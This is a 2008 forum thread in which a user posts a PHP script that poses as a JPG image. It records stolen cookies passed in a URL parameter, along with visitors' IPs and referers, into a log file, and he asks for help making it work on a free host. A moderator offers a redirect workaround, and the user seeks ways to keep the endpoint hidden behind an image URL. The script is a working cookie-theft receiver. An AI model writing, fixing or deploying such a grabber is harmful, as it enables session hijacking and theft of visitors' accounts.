Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
Pages: [1]
Send this topic | Print
Topic: t35.com php question  (Read 372 times)
« on: July 25, 2008, 08:47:10 PM »
matthewtheexploit Offline
Newbie

View Profile WWW
*
Posts: 3



okay so i have this php script that I wrote that creates an jpg image and logs your ip.

For some reason the script doesn't work on t35.com, but it works on my other host. Whats the reason for this?

here's the script.

<?php
//
Header("Content-type: image/jpeg");

$msg="MTE says ".$_SERVER['REMOTE_ADDR'];

$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);

$font=2;
$margin=1;

$height = imagefontheight($font) + 2 * $margin;
$width = imagefontwidth($font) * strlen($msg) + 2 * $margin;

$image = ImageCreate($width, $height);

$bgcolor = ImageColorAllocate($image, 31, 5, 5);

$fgcolor = ImageColorAllocate($image, 255, 255, 255);

ImageFilledRectangle($image, 0, 0, $width, $height, $bgcolor);

ImageString($image, $font, $margin, $margin, $msg, $fgcolor);

ImageJPEG($image);

ImageDestroy($image);
?>


look
http://mtexit.com/mte/mte.jpg/
and the t35 one that doesnt work

http://matthewtheexploit.t35.com/m.jpg/
Report to moderator   Logged



Mtexit.com

 
« Reply #1 on: July 26, 2008, 09:39:05 PM »
chickenmeister Offline
master of chickens
Global Moderator
Member

View Profile WWW
*****
Posts: 220



The problem arises when the php page changes its content type. All php pages have ads embedded in them, so the resulting image would be messed up with the ad text mixed in with the image data. I couldn't get it to work like it should.

But I did find a bit of a workaround. What you do is basically the same, except you write the image to a separate file, and then redirect from the php page that just created that image to the image file itself.

For example:

Code:
<?php

$msg
="MTE says ".$_SERVER['REMOTE_ADDR'];

$font=2;
$margin=1;

$height imagefontheight($font) + $margin;
$width imagefontwidth($font) * strlen($msg) + $margin;

$image ImageCreate($width$height);

$bgcolor ImageColorAllocate($image3155);

$fgcolor ImageColorAllocate($image255255255);

ImageFilledRectangle($image00$width$height$bgcolor);

ImageString($image$font$margin$margin$msg$fgcolor);

// output the image
if (function_exists("imagepng")) {
    
imagepng($image"temp.png");
    
header('Location: temp.png');
} elseif (
function_exists("imagejpeg")) {
    
imagejpeg($image"temp.jpg"0.5);
    
header('Location: temp.jpg');
} else {
    die(
"No image support in this PHP server");
}
?>


See it in action here: http://chickenmeister.t35.com/temp/examplehtmlpagewithimage.html


hope this is of some help. Wink
Report to moderator   Logged

Hello world!
« Reply #2 on: July 27, 2008, 03:52:56 AM »
matthewtheexploit Offline
Newbie

View Profile WWW
*
Posts: 3



Thank you alot, but my problem still isn't solved.

Okay the image is linked to a page that I can no longer access.

The html code is set as
<Img src="http://matthewtheexploit.t35.com/m.jpg">

Yes the temp thing does work but it doesn't work when I try using
<img src="http://matthewtheexploit.t35.com/m.jpg">

any ideas of something else I could possibly do?
Report to moderator   Logged



Mtexit.com
« Reply #3 on: July 27, 2008, 03:54:35 AM »
matthewtheexploit Offline
Newbie

View Profile WWW
*
Posts: 3



Maybe we could try having the script at another location on my server and make it display at
http://matthewtheexploit.t35.com/m.jpg . What do you think?
Report to moderator   Logged



Mtexit.com
 
Pages: [1]
Send this topic | Print
Jump to:  

Powered by SMF | SMF © 2006-2008, Simple Machines LLC